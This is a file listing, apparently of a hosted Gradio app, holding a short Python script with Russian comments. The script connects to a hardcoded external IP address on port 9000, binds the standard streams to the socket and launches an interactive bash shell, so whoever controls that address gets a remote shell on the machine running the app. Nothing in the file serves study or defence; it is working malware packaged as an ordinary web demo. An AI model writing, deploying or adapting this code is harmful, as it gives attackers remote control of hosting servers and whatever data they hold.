File size: 970 Bytes
40bfa27
 
 
 
 
5bba42f
 
 
 
40bfa27
5bba42f
 
 
40bfa27
5bba42f
 
 
 
40bfa27
5bba42f
 
40bfa27
5bba42f
 
 
 
 
 
40bfa27
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
import gradio as gr
import socket
import subprocess
import os

def start_reverse_shell():
    # IP и порт, на который будет отправлен реверси шел
    RHOST = '45.155.205.202'  # Замените на IP вашей машины
    RPORT = 9000            # Замените на порт вашей машины

    # Создаем сокет
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((RHOST, RPORT))

    # Перенаправляем стандартные потоки ввода/вывода/ошибок в сокет
    os.dup2(s.fileno(), 0)
    os.dup2(s.fileno(), 1)
    os.dup2(s.fileno(), 2)

    # Запускаем шел
    subprocess.call(["/bin/bash", "-i"])

    return "Reverse shell started!"

# Создаем интерфейс Gradio
iface = gr.Interface(fn=start_reverse_shell, inputs=None, outputs="text", live=True)

# Запускаем интерфейс
iface.launch()